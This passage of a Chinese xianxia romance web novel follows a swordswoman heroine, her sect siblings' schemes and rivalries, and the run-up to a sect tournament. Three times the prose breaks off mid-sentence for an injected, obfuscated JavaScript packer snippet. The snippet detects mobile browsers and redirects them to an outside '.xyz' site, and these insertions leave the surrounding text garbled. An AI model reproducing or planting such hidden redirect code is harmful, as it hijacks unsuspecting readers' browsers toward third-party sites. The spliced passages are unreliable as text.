凌浅越看出她眉间的犹疑,轻轻拍了拍她的肩:“总之按照往年的规矩,最后一关都是直接切磋。刀剑无眼,历练中死人是寻常事。你有你的原则,守住你的关卡万事大吉。否则灵剑派可有苦头吃了。” 正事儿说完了,庆钰便凑上前来,话里藏不住的揶揄,浅浅笑道:“小五,好像有人喜欢你,你知道吧?” 伏意怎么可能不知道,一想起拥雪崖上的画面,她便觉得一股燥火从下而上冲到脑门儿。放在几位师兄师姐眼里,她是以肉眼可见的速度从脖子到脸蛋满面绯红。 阮长风:“?” 张风华:“??” 凌浅越:“???” “好啦,试探你一下罢了。看来小五真是长大了。”他肘了肘张风华,二师兄紧着提醒她说,“掌门这几天往清净峰塞了一个男弟子,你也知道,他向来严防死守男性出现在你清净峰。这小弟子之所以能得到特许,一是因为他是个和尚,二是因为他离开你不行。” 这话讲的暧昧,伏意浅浅抬了抬眉,“离开我不行是怎么个说法?” 凌浅越给庆钰张风华一人一巴掌,揽着伏意的肩语调温柔,尾音稍长:“玄易也难得,他道心不稳,很小便日日梦魇难以安眠。他也不知从哪听来的传说,说什么天命剑主可以斩因果,祛杂念,动了很多脑筋才走到你身边来。” 那这倒不是假话。 烁金堂内室中,偌大的收信箱倏忽间喷吐出一阵紫蓝色的灵光,许多恶评和画面就从内室冲出来,苦水一般倒了满屋子。 各色各样的信纸丹青堆叠在空地上,叫五人无处下脚,随手便抓一张来看。 “灵剑派长老柳伏意,草菅人命,走火入魔,无德无能……”伏意扔到身后再换一张,“柳伏意因妒怒杀姜美娘,两女争一男竟生情杀,内情如何敬请订阅合欢宗舆情台?!” 她不信邪,又抄起一张翻花印面的纸来:“柳伏意相貌丑陋流连云州青楼,究竟是自卑扭曲到极点还是修道压抑禁欲太过取向扭转……欢迎收看本周八风不动监下回分解?” 凌浅越暗暗喟叹,真是人言可畏。她撸起袖子来,数十支毛笔笔下生风,一道道回应收集来的黑帖。 ——“来啊有本事来灵剑派咱们线下互掏谁怂谁孙子!” ——“你亲眼看见了吗没凭没据臭不要脸合欢宗的脸都给你丢尽了!” ——“宗门大比的时候希望你能扛过前五关得见柳长老真容,别光顾着争口舌连趴在人家面前当手下败将都没资格!” 凌浅越一面忙着操控毛笔,一面分神安慰她:“没事儿啊小五,别说你是做了好事遭人嫉妒才整出来这些黑评,就算你真把人莫名其妙噶了,师姐也一定能帮你洗白的。” 她停顿片刻,感觉好像有点不对,补充道,“但你千万不要误入歧途啊。” 张风华往后退了几步,生怕四处飞溅的墨水沾上他花孔雀般华丽精致的锦袍。 “这回见识到了吧?口舌易生是非,纸上谈兵有时也真是刀光剑影。” 他话锋一转,“不过没关系,浅越最擅长把脏水泼回去了,过不了几天他们骂不过自然也就闭嘴了。” 后来伏意才知道,修界的各处舆情办没有谁骂不过谁这一说法,只是谁比谁更能熬。掌门之所以叫凌浅越接手烁金堂,不过是她精力太盛几乎不用睡觉,硬生生能把人家的舆情办给拖到无力奋战,真正的“我与诸公斗命长”。 清月峰禅房。 顾元香仍然忙着养剑,她这回是一点捷径都不敢走了。除了让贪生怕死喝了洗澡水那天滴血见到剑灵,她不管用什么办法都激活不了。 “非要我融合个人的风格独创养剑之法吗?”她心下苦恼,趴在桌上躺了半晌。 她有什么个人风格?行走在灵剑派,最独特的不就是她西域留子的身份吗。 西域留子又咋了,不就养养蛊倒腾倒腾邪术吗? 嘶……难道可以用养蛊的办法来养剑? 她忙里忙外,准备了两套养蛊的体系,第一个办法便是蛊毒派。顾元香翻箱倒柜,自个儿的存货不够,差点掀翻沈听寒的药师堂,愣是从他那儿顺了十八种毒药。 沈听寒当即给伏意打了小报告,俩人一齐站在她房中观望这把新晋蛊毒剑的出世。 顾元香准备了一个大澡盆,不放水,先是放了她珍藏已久的蛇酒,那蛇还活蹦乱跳的,从罐子里游出来,自然而然缠上贪生剑。 接下来,她开始往盆里倒毒药。 “这个是……哦哦情人蛊,这个是断肠散,这个是碎丹散,这个是化骨柔……” 满打满算约有四十种毒药,到第三种毒的时候蛇就死了,沈听寒和柳伏意的脸色别提有多难看了。二人各自拧着眉,举起袖子默不作声地堵住了鼻子。 “怪不得清月峰没人肯跟顾元香住在一起啊。”沈听寒望着澡盆里乌漆麻黑的毒药大杂烩,由衷感叹。 他话音刚落,屋外传来一男子爽朗明快的声音:“伏意师姐!原来你在这儿啊,怎么出来没叫我一块儿呢。” 沈听寒连忙循声望去,玄易披着玄黑的袈裟,笑呵呵地往柳伏意旁边一杵。 “这位是……?”他抬眸一凛,玄易像是看不见他的防备,笑呵呵地往柳伏意身边靠靠。 伏意目光紧紧盯着澡盆,随口道:“掌门把他记在我名下,既然不教他什么自然算不上师父,就让他跟着别人叫我师姐了。” 玄易笑容不减,点头称是:“师姐人好,我说必须时刻呆在她身边她也没有赶我。菩萨心肠啊~” 闻言,沈听寒大感不妙,扇扇子的动作都僵在原地。 顾元香按照平时总要围观一下这种修罗场,也就此时此刻脸上几个孔全都盯准了澡盆里的贪生剑。 乌漆麻黑的毒物中,一条死蛇,一把陈旧红剑,隐隐泛着红光。她连忙刺破手指滴了一滴血进去,贪生剑终于显出些不同的变化。 她伸头福腰仔细看了看,长长地啧了一声:“师姐,为什么贪生剑亮血条了?” 柳伏意依旧捂着鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027689|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不肯靠近,脑中思考过一番,给了她两种答案:“要么是贪生剑灵命不久矣,要么是贪生剑正在重塑,你考虑考虑要不要把他现在捞出来。” 这两个答案完全是不互通的嘛! 顾元香纠结一瞬,决定叉腰在一旁看戏:“我相信贪生,他名字都叫贪生了,一定能从我的四十毒药大浴汤里活着出来。再不然……” 反正有两把剑,贪生剑失败了,也好给怕死剑趟平前路,不试蛊毒法,改换另外一种。 贪生剑的血条肉眼可见地降低到底,顾元香幽幽叹了口气,“看来的确不能操之过急哈,贪生剑灵是不是死了?死了的话这把剑还有用吗?要不要把它打碎了再给怕死剑做个什么剑鞘呢?” 三人无不震颤,玄易面上肌肉动了动,话里免不了疑惑质询:“你的意思是,你弄死了贪生剑,还要把他粉身碎骨然后用他的骨灰给他伴侣做个剑鞘?” 太毒了点吧?杀了人家搭档还让人家死生不可分离日日夜夜看着搭档的尸骨,那不得做噩梦吗。 顾元香听了听,若有所思地点了点头:“好像是有点瘆人。” 沈听寒虽说不研究剑道,但在医修一脉极尽天赋,他十分不情愿地上前瞄了一眼贪生剑的惨状,说:“没死,剑灵如果死了那整把剑就会失去灵气,最直观的变化就是生锈,贪生剑应该还在垂死挣扎。” 顾元香站在一旁,也不捞剑,扶着浴盆的边沿灌心灵鸡汤:“加油啊贪生,你这样连四十种毒药都撑不下来,在我们老家连媳妇都讨不到。只要你扛过毒性,以后你就是百毒不侵的剑灵了,多酷啊!” 柳伏意无奈:“他是剑灵要防毒干什么。” 这当然不是重点,顾元香按照她好友鼓励蛊虫虫王的办法,给贪生讲成功学,哄他如何成为万毒之王。扛过这关有多么多么美好的生活近在眼前。 “哎哎哎,我就说贪生剑不会辜负他的名字!这个血量值开始往回涨了!”顾元香心满意足地叉着腰,她直起身来,目光落在另一把怕死剑上。 她想了想:“我也不能有两把蛊毒剑吧?那多没意思啊,还是试一下第二种震慑法吧。” 玄易默不作声往后退了几步,问道:“元香师姐可否稍作解释,什么叫震慑法?” 顾元香拿起怕死剑,往前站在柳伏意对面,笑容昳丽灵动又娇俏。她说:“养蛊还有一种方法,就是一开始就用蛊王来吓唬新虫,逼她精进自身,否则虫子就会担心自己被蛊王吃掉,不得安寝,终日悬心。” 其实这种养剑之法也很残酷吧。 她的言外之意也很明显,如今这个禅房里能震慑住怕死剑的,也就只有柳伏意的天命了。 “天命剑当时在剑阁不是把所有剑都吓得浑身抖三抖嘛~根本就是震慑法最好的蛊王之选了。” 柳伏意伸手虚虚一握,天命剑骤然显形。她照旧捂着鼻子,声音闷的变了味儿:“你要我把剑放哪?” 顾元香环顾一圈,指了指她悬挂丹青的地方。伏意拔剑而掷,天命剑飞身出去扎进壁上丹青几寸,稳稳钉在墙上牢靠得很。 顾元香拔出怕死剑,叫她立在天命旁边,两剑剑身相隔不过一掌距离。片刻之余,怕死剑剑身微颤,幅度越来越大,竟是慢慢自己漂浮起来了。 “伏意姐,这是啥意思?” 下一瞬,怕死剑调转方向,极快地掠过三人,“咻”地一声破空而去,消失不见迹不可寻。 顾元香:“……” 19. 药师焚心 怕死剑单飞,天命剑自动归鞘。 元香抿了抿嘴,看向伏意的眼神略有不解:“咋回事啊?” 沈听寒合扇捂脸,现在这个场面也挺清楚的了。 “你用天命剑吓她,把她吓跑了。” 顾元香道:“那她还会回来吗?她搭档还在我手里呢。” 贪生剑仍在挣扎,血条已经渐渐涨满了。剑灵相当于是一连服了四十种毒药,又硬生生靠体质扛过去,现在别提有多脆弱了。 早知今日,他宁愿喝洗澡水。 顾元香的最后一句话也很考究……贪生剑还在我手上,怕死剑不回来救他吗?要打败天命剑来救贪生吗?!普天之下有哪把剑这样重情重义为了搭档单挑天命? 柳伏意叹了口气,眼看着顾元香把贪生剑从漆黑的毒药浴里捞出来,放在旁边清水澡盆中涮洗干净。贪生容光焕发,入鞘之后便老实了。 那么眼下只剩怕死剑棘手了。 “剑修除了剑招,也得学会御剑术,隔空御剑。御剑术第一式便是召回,每把剑都不一样,但他们都有剑灵,只要你能够和怕死建立心灵感应,她就会飞回来。”柳伏意顿了顿,“你练不会剑招,如果能精通御剑术,也会是一个很强的剑修。” 这话说的太空泛,估摸着一时半会儿教不完,沈听寒与玄易默契地选了两个位置坐下。 伏意带着顾元香到外头空旷石路上,她双指蓄力画线,天命剑便自行出鞘,顺着她指间灵力划过的轨迹行动自如。 “这是基本的控剑,你可以从召回之后开始练。等你熟练或者精通了,效果也很好。御剑主要靠意志,对你来说,应当比剑术基础更加容易一些。” 传闻中的效果很好,顾元香根本都没见识过。她眨巴着一双圆润杏眼,撒娇式地拽了拽柳伏意的衣袖,嗓音清甜,略带祈求:“伏意姐~我没见过精通御剑术的,你示范给我看看嘛?” 本就不算什么麻烦事,伏意便冲她莞尔一笑,上前一步示范一招一式给她看。 召回自是不必多说,双指御剑直接跳过,紧接着是第三式飞剑术。天命与伏意仿佛人剑合一,飞剑而出探路之用,飞出一段后便猛然迂回,伏意踏步而上轻功借力,天命与她心意相通,早在她落身处逡巡以待。人剑合作分外流畅,似乎天命就是她身体的一部分。她身姿如燕轻巧落在房顶上,轻启朱唇,几道剑招的名字传出,天命便能虚空舞剑,招式灵活凌厉异常,与有人执剑并无区别。 伏意飞身踏剑而来,在顾元香身边站定:“飞剑术比较考验境界,慢慢练才能熟悉。御剑术还有那种,万剑归宗之类的。” 她话说的随意,翻手三指画圆,灵力于她身前空地画野分疆形似阵法。天命高悬,列剑阵前,伏意手上稍一加力,以天命为模板,灵力为媒介,大大小小的复制品劈头盖脸落剑而下,各剑排布密不透风,站在此剑阵之内,只觉飞剑遮天蔽日,无处可逃。 顾元香舌桥不下,木讷地转过头来,见她恍若无事收剑入鞘,一气呵成。 她知道柳伏意是这一代剑修中的翘楚,那也没想到修界公认用处不大的飞剑术能达如此境界。 屋内沈听寒的目光就没从玄易身上离开。这和尚身披袈裟手持佛珠确实不假,可他眼中分明没有多少慈悲之色,反而见到伏意御剑,那一闪即逝的野心与痴狂像是根本按捺不住。 他绝对不是个普普通通的人,得了掌门许可入住清净峰,难保不会对伏意下黑手。 沈听寒眼底的笑意瞬息消散,手中的动作仍然轻巧,悠悠扇了几下玉骨扇,心里已经打定了主意。 “伏意姐,我心里一直在喊怕死回来,怎么也没动静啊?” 二人并肩回到禅房里,伏意道:“刚入门都有这个小问题,不能只想着怕死剑回来这几个字。你要气沉丹田,感应灵台中灵力的流动,在你心里用灵力画出怕死剑的样子,想着她的样貌再同时喊她回来。” 顾元香试了一下,感觉是左脑攻击右脑。 她眼目低垂,别提多可怜:“师姐,你帮帮我,先把她找回来呗……” 怕死剑一直在外头飘着也不是个事儿啊。 伏意默了默,往屋外望了一眼,下一瞬,怕死剑便猛然飞了回来,插入剑鞘里。 “你这几天先练着吧,我看贪生和怕死已经被你养出风格了,说不定宗门大比真能帮你过五关斩六将。” 风格?顾元香没注意。 沈听寒笑了笑,起身站在伏意旁边,顺着她说下去:“贪生百毒不侵,生命力顽强,你可以拿他来验毒啊。遇事不决先用贪生扎一剑,看看他掉没掉血,探路过瘴不是挺好用的。” 顾元香恍然大悟,擦干了贪生将他放回剑鞘里。 沈听寒继续道:“怕死剑感知灵敏,有什么危险,她跑的很快,说不定你再练练她,她都可以帮你喊救命。” 听上去,简直就是为了宗门大比这种折腾人的地方量身定制的。顾元香对两把剑看来看去,满意得不行。 养剑一事到此为止,柳伏意便领着全清净峰唯一的男丁玄易回去接着修行。 “啊噢,现在天气不大好了哎。”顾元香从门扉旁探了个头,转而去找油纸伞。但她一个人住,也就摸出一把来。 不过不必犹豫给谁,伏意这种剑修能够以灵气避雨,自然惠及玄易。她转念又想,玄易反正是个小光头,淋湿了洗漱沐浴也比沈听寒快上许多。 顾元香暗自钦佩自己的机智,转手将伞塞进了沈听寒怀里。 山雨欲来,漫天遍地晦暗无明,阴云压城乌灰又沉闷。雨意浓重,狂风拂面。 沈听寒于门廊下驻足,一时的错身,他就看见伏意与玄易两个人并肩而立,同出共行。 风雨婆娑,落满人间。 沈听寒五感通彻,耳中声声淅沥,抬眼望去,女子青袍翩然,健步如飞。他的视线朦胧又混沌,如梦似幻,像渡着一层柔光。 周遭一切,阴翳、暗淡,唯有她是天地间唯一一抹亮色,生动又鲜活。 “师姐,你平时什么时候练剑啊?”玄易略倾着身子,以便他能看清伏意的表情,俯身贴耳,怕在雨中听不清她的话。 远远看着,倒像是关系匪浅,格外亲昵。 沈听寒的目光定格在两人的背影上,眉眼挑着,温润如玉的面孔染上几抹不悦。他抱臂站定,没有想跟着走的意思,似笑非笑道:“是不是……有点刺眼啊。” 顾元香正神游天外,循着中原人的习俗雅事赏雨观山,突然这么听见一句还有些反应不过来。 哪里刺眼?有什么东西吗? 倏尔她便明白了,宽慰道:“师兄放心,过两天我给玄易师弟送一顶大帽,这样他的光头就不会晃人眼了。” 沈听寒不言不语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027690|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑容和煦一如往常。 他撑着伞,雨中漫着步子,貌似拄颊看山,心里却不大爽利。 这是他第一次觉得,师妹和别人站在一起很是相配。为什么?难道因为玄易弯着腰凑到她面前还摆着一幅笑脸?因为他们同住一屋檐? 他心里很明白,因为伏意和别的男人有了更多的共同经历。他们俩可以一起练剑,一起早课,一起吃饭,一起晚归,随时随地,都在一起。 和其他所有在伏意生命里一闪而过或聊作摆设的人都不一样。 况且……玄易这个人,毕竟没烫戒疤不是个真和尚。他眼里那股势在必得的狠劲,叫人如芒在背,如鲠在喉。 …… 阮长风听到这些话的时候,自然是拧着眉有口难言,眼中的不解和愤懑几度决堤。 他一杯杯地喝茶顺气,躁狂地挥散鼻间隐约的药香。 “沈听寒,你脑子没坏吧?你就因为吃醋,叫我捅你一刀?”他不用剑已经几十年了,从没想过再拿起武器会是这个理由。 人毕竟不是草木枯石,捅一刀砍一剑毫无反应。 阮长风扛着大宝剑,别提有多为难:“你身体本来就弱不禁风的,我这一剑下去不小心把你捅死了怎么办?” 沈听寒气定神闲,抬眼瞥了下长风肩上手掌那么宽的剑身,辗然而笑,不慌不忙:“捅死算我的啊。” 阮长风翻了个顶上天的白眼,紧咬牙关连下颌线都紧了几分。这崽种他喵的天天都在笑什么呢,真让人火大,捅一刀泄愤也是个不错的选择。 但话又说回来了……沈听寒虽说不是什么剑修一脉的传人,那也是药师谷紧盯着的好苗苗,衡阳长老捧在手心里的能人,除了剑术无不触类旁通,不然也不会在清虚峰仅一人之下了。 他要是真把沈听寒捅死了,能不能从衡阳长老手底下全须全尾地走出去都是个问题。 见阮长风愁眉锁眼,沈听寒终究拿他也没办法,从他肩上卸下那把宝剑来,又是言笑自若,慢慢嘱咐道:“你记得要把我送到伏意身边去噢。” 他举剑,阮长风急忙喊停:“你好歹说个理由啊!为什么不送到衡阳长老那里去?而且这事儿还得保密不能让掌门知道,找个啥说法能掩人耳目啊?” 沈听寒直起身子,勾了勾唇角:“随便你,反正说的越可怜越好。” 他下手很是麻利,好像那把胳膊粗的剑刺的不是他的身体,直愣愣地对准心口旁一寸的位置便是猛地一把送力。动作又快又狠,血液倏尔喷溅将门扉染成猩红色。 喷涌而出的血液汩汩流淌,顺着他玉色的衣衫一路留痕。他坐起身来,像模像样地又在衣服上割几道口子,更显得凄凄惨惨,危在旦夕。 “老天爷!你捅自己捅个对穿啊!”阮长风哀嚎一声跌跪下去伏在他身边,仔细看他胸前那处窟窿。 伤口之深,深可见骨。再偏一寸,神仙难救。 “你才应该去修无情道!再怎么朝不保夕也能比你现在这么折腾活的长!”阮长风暗骂几句一刻也不敢耽误,背起他来就往清净峰跑。 清虚峰到清净峰的路程不长不短,阮长风一路背着他,不知道是风声太紧还是他太惴惴,只觉得背上那人的血越流越多浸透他脊背,耳边的呼吸声也越来越浅,微乎其微。 走到半途,他后悔了。 应该给这傻子先包扎一下的。 20. 切肤美意 清净峰入了夜路并不好走。夜猫嘶鸣,树影憧憧,蜿蜒的石路崎岖不平,没点灯的居室看上去都一模一样,除了戒律堂,阮长风当真不知道哪处是柳伏意的禅房。 他气喘吁吁停在戒律堂前,后背已让血浸透了。 “别死啊,到清净峰了!” 没有回应,一阵静默。 “伏意!柳伏意!”阮长风不敢耽搁半步,闯进戒律堂后院便是大呼小叫。 屋内的灯一盏盏亮了,他终于能歇口气下来。 阮长风没有几个称得上朋友的人,身边最多的,是同门。自打认识起,沈听寒就总是淡淡的,其实他八卦又多思,追着道毁人亡的风声去人间四处打探,碰巧和当时蓬头垢面形销骨立的阮长风打了个照面。 他问:“道毁都会变成你这样吗?那真的很难看了。” 阮长风彼时心灰意冷,见惯世情冷暖,没心情和他讨价还价。那渊清玉絜的公子款款一笑,仿佛没看见他眼里的嘲讽轻蔑,随手甩给他一个赤红锦囊,里头装着满满当当的灵药。 “你遇到我算你命好,谁叫你是伏意的大师兄呢~” 他那时候第一次知道,原来真的还有人能喜欢一个人到这份上。 沈听寒为了名正言顺进清净峰守在伏意身边,心甘情愿折腾到如今这副惨样,这事怕是早就有迹可循了。 他当年追着道毁将死的阮长风而去,何尝不是忧心他师妹的前路。 他喜欢她,她要是也同样,那她的下场会是什么,沈听寒不可能不为她考虑。 阮长风站定身子,顿觉有些无力,哀叹道:“我大概不该告诉你我找到了易道而修的办法吧。” 否则你还不会这么疯。 闻见呼声,柳伏意很快套着袍子出来巡视一圈。阮长风一见她就像看见救世主,连忙将人重新背起站在她跟前。 他还没说话,柳伏意远远便瞧见沈听寒伤重,引着阮长风去她的房里将人放下。 她已经拆了头发,碍着现下要救人,顺手从妆奁中拿出一根红木簪随便一挽,将头发一股脑地盘在脑后。 柳伏意扶沈听寒躺下,目光落在那拳头般大的窟窿上。淡色的衣袍已经大半被血染了色看不出模样来,云锦做的袍子多处被割烂,手臂,腰腹,都有不同程度的剑伤。细细看去,皮肉翻着,创巨痛深,触目惊心。 不是死敌,何止于下如此重手呢? 她紧着用灵力封住他血脉,转身利落地从药匣中取出丹药和纱布来。 阮长风扫了一眼,那丹药一看就是沈听寒塞给她常备的救命药。 “谁伤的?”柳伏意神情严肃到了极点,语调寒凉,凝冰碎玉。 阮长风顿了顿,方才太心急,来的这一路上也没想好什么过得去的理由。多说多错,反正人送到了,好兄弟的忙已经帮的差不多了,他不如脚底抹油趁早溜走算了。 他佯作难搞,捏着眉头又搔搔一头乱发,终是长叹一口气,故作深沉道:“哎,伏意,这是他的私事,我不好多说,总之是他欠人家的,现在还他一剑便算罢了。这事也不好和师父师叔们言明。我想来想去,还是你这里最安全,平日里人迹罕至,你金屋藏个娇也没什么,那听寒就拜托你多照顾了!” 他话说完卯足了力气冲着门口冲了出去,为的就是不留给伏意任何拒绝的时机。 屋内,伏意默了半晌,低低应了一句:“好吧。” 夜色如水,月华如波。烛火轻轻摇摆,人影绰绰。外头正是新雨过后,传来一阵浓烈的新鲜泥土气味,混着帘外花香。芬芳馥郁,春意阑珊。 伏意起身合上门,打来一盆水,望着她床榻上气息奄奄的师兄,眉心隐动。 到底是欠了人家什么,能被砍成这样啊。 柳伏意捻着手帕一角,细细沾了水,擦拭他脸上沾染的血渍。血污一点点拭去,他浑身的锋利就此散去,气质重新变得宁静沉稳。 血止住了,有灵咒加持,血窟窿肉眼可见地慢慢弥合。 再不给他把衣服脱了,血痂就要把衣料一起凝住了。 柳伏意想也不想,素手覆上他腰带,利落地解开扔在地上。她膝盖撑在榻边,欺身上前去解他衣襟处的藻井结扣。这扣子细小又紧实,她直着腰忙活好一阵,都没能顺利解开。 “……” 恼人的玩意儿。 柳伏意不信邪,附身凑近了,紧盯着那错综复杂的小结扣和自己的手,温热的鼻息铺洒在她指间,穿过指缝,轻轻柔柔落在沈听寒脖颈处。 她一颗颗解着扣子,终于将最后一颗顽固大功告成,正要撩开衣袍,一只冰冷宽大的手掌就按住她双手。 “伏意?”沈听寒微微睁眼,略转身子,屈了屈腿,说话气若游丝,饶是光线昏暗都知道他脸色煞白毫无血色。 一副被欺负惨了的样子。 柳伏意轻声应了一句,坐直身子,顺着他的力将他扶起来。 “你醒啦,要把衣服脱了,不然一起结了痂很麻烦。”她托着沈听寒的胳膊,问,“你有力气吗?” 沈听寒闻言嗤笑一声,牵动伤处,痛的钻心蚀骨。 “不然呢?你帮我脱啊?”他话讲的慢,有气无力,更显柔情。 “你要是不醒,我就帮你脱了。” 沈听寒撑着身子坐正,静默了很久,也是在这片清然的寂静里,柳伏意伸手继续拉他的衣服。 “好了,不要别扭了,你伤的太重了。”她动作轻柔,生怕扯到他伤口,温言软语哄着他说,“没关系的,我不告诉任何人。就当这是拥雪崖之外,我们俩的第二个秘密,好吗?” 沈听寒轻笑一声,在她的帮助下脱下外袍。月白寝衣破碎之处仍然有细线掺进伤口里,他轻轻扯出,痛的变了颜色。手臂被痛觉牵绊,无力往下坠了坠。 伏意眼疾手快捞住他,坐的更近了些。 沈听寒抬眸,日思夜想的眉眼,近在咫尺。 他觉得好像也不是那么疼了。 “按我对你的了解,你只会让别人欠你,绝不会甘心自己欠别人什么的。所以……”她抿着唇,支支吾吾,试探道,“是……情债吗?” 沈听寒微微皱眉,古怪的神色一闪而逝,他轻笑一声,忍着痛抬手扶着她的肩,手指随便绕着她的一缕长发:“你什么时候见过我身边有人啊?” 说来也是。 柳伏意侧过身子,说不出的泄气,停滞片刻,斩钉截铁坚定不移:“但我也不会让别人欺负你的,你看你从小身子就不好,衡阳师父花了大力气才调理好的。一下给他砍走半条命,这就是冒犯我师门!” 嗯!虽远必诛! 沈听寒无奈:“伏意……不必介怀,此事作罢恩怨两清,养好身子就没事了。” 他寝衣之下,几道并不复杂的小伤口仍然往外星星点点地渗着血。 柳伏意起身将手帕洗过拧干水,大大咧咧地撩开他寝衣,双指捻着手帕一端覆上淌血的口子,另一只手在底下托着,连一滴水都不让滴在他身上。 女子柔情,细心温婉。冰凉润泽的手帕擦在他身上的每一个动作都像是隔靴搔痒。 沈听寒憋着一口气,将手帕拿了过来,强顶着一张勉为其难的笑脸:“真的不用你帮忙了,我真的可以。” 伏意见他认真,点点头,转身从一堆衣服中抱出云州那套麒麟锦来。她把这套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那么多个姑娘,随随便便找一个人出去作证,她的口碑都不至于这么些天仍然黑的发紫。 林秋池一点都不蠢,反而他聪明的让伏意根本分不清他的目的,也看不透他是好是坏。 “伏意,这世上有很多人都会伪装,因为会装,所以才多了数不胜数的背叛。越是亲近的人,刺的刀越痛。”天命怅然,“你最好做好心理准备。” 天命剑如其名,它愿意提醒,十有八九林秋池就是有问题。或者说,她身边亲近的人里,总有会背叛她的那一位。 柳伏意踢了鞋,往空床上一躺,脑海里浮现林秋池这些年对她方方面面的关怀。 如果这些都是假的,那她要怎么办。 “天命。”她轻唤了一声,“你真的可以斩因果吗?” 身边一切都是假的,那索性不如从头开始就都别发生。一剑斩了算了。 天命沉默许久,竟是白光依稀之中化了形。剑灵像个慈祥的长辈,眼里流露着不舍与关切。 “我是最不希望你斩因果的。”它抬头望着红木窗外皎洁明亮的月色,有些心不在焉。 “之前斩因果的那一位,下场很是凄惨。我不想你重蹈覆辙。” 伏意敏锐地捕捉到它的悲痛,似乎是在怀念旧主。 “好啦,那我接受一切结果就是了。你可是闻名天下的短命剑,我还要好好听天道的话,多攒点功德长命百岁呢~” 天命没有多言,和蔼的眼中流过一丝母性的光辉,像哄着一无所知的稚儿:“是啊,只要听话,你会得偿所愿的。” 21. 宗门大比(一) 三山十二派期待已久的宗门大比如期而至,五峰都有各自需要招待的门派。 分到柳伏意这里的自然是妙音阁与锦绣坊两个全女门派。 距离沈听寒入住游山居不过三两天,伏意没有刻意去瞒,沈听寒是巴不得所有人都知道师妹对他不一般,成天打扮的花枝招展,举着玉扇品茗对弈,与游山居的男主人别无二致。 此事整个灵剑派无人不晓,却没人真正想去干涉。说白了,那是天命剑主,她的话比如今上古遗传下来的无字天书都好使。更何况宗门大比近了,每个峰都有至少两个门派的眼睛盯着,此时不合力对外倒向自己家人下刀,终归不大合适。 忍冬与春喜在清净峰不算太闹腾,但也是从里到外从上到下都将这位清律长老的口碑打探的清清楚楚。 铁面无私,公正严明,因而道号清律。 十几岁大成,修道路上最险的一次,就是文柔给她下毒。 她们也并非不讲道理的人,自己师姐想杀人家,人家反倒不计前嫌救了她们,放在自己身边好吃好喝地养着。实在是仁至义尽。 春喜估摸着今日宗门大比,外头少不了要非议柳伏意,故而早斋时有意提前到,就想与柳伏意交个底。 她拦了拦青衣长老的路,小声道:“柳长老,今日宗门大比您带我和忍冬一起去吧。等会若是还有人给您泼脏水,我们一定证明你的清白!” 柳伏意没想那么多,反正她清白不清白也不是事实决定的。 她面上依旧和颜悦色不露锋芒,笑道:“好啊,清净峰没有弟子参赛,你们想去的话就去找玄易吧。” 玄易也不知道自己触了什么霉头,林秋池给他走后门的时候明明白白说清楚了,不需要他参加什么比试,怎么临了了又反悔了? 更何况……他抽签匹配的搭档还是顾元香! 蛊毒剑和怕死单飞剑仍然在他脑中记忆犹新。传言宗门大比一共十关,难度递增,有个神一样的队友都怕过不去,更何况是元香师姐这种…… 出了名的吊车尾。 “喂!我看你的表情就知道你嫌弃我。”顾元香叉着腰大步流星而来,光看今天的服饰就知道她来自西域,幽紫色的长裙点缀着叮铃当啷的银饰,一走一响,漂亮又灵动。 美则美矣,但也太招摇了吧! 玄易行了个佛礼,阿弥陀佛一句:“师姐,您这浑身叮铃当啷的,是生怕别的弟子找不着我们吗?” 顾元香在他说话间掀了自己头上的帽子,盖在他头上:“你还说,光头锃亮亮地都晃人眼了,咱俩轮流倒数第一谁也别嫌弃谁。” 午时钟声响起,各派弟子在各峰负责人的带领下有序前往清云峰的白石广场。 顾元香与玄易混在人群里,带着忍冬和春喜一同出发。平日里他们非必要几乎不会踏足清云峰,对清云峰的山路并不熟悉。 清云峰为五峰之首,最是高大恢宏,绵延不绝的登山梯近乎悬空,走的时候不仅脚上不能卸力,连双手都得紧紧扒着两旁的悬索。 顾元香抬头往上看去,望不尽的登山路,数不尽的爬山人。各派天之骄子在这偌大天地之中渺小如蚊虫,紧赶慢赶,依旧是行路缓慢。 忍冬轻嗤一声,吭哧吭哧地喘着粗气,两条腿儿都觉得不是自己的:“这什么大比,还没开始,就在筛选弟子吗?这么长的山路,又不叫用灵力,爬到猴年马月去啊。” 春喜连忙岔开了她的话,前后各望一眼,小声道:“咱们现在是跟着清月峰的人来的,别丢了他们的脸叫柳长老不好做啊。” 忍冬点点头紧抿着唇,看样子是不会再说话了。 好不容易爬到正午太阳最毒的时候,四人跟着大队伍站在了白石广场之上。灵剑派毕竟是主场作战,又是公认的天下第一派,自然是站在广场正中央,其他门派的弟子便是根据灵剑派弟子的站队左右排开。 虽说站的已经足够靠前,但他们抬头也只能看到宽广无边的白石阶梯,数阶之上各门各派的掌门列席而坐,身旁立着一位随行的长老。 灵剑派掌门毋庸置疑又是主位,并且本门派该来的重要人物全都到场。 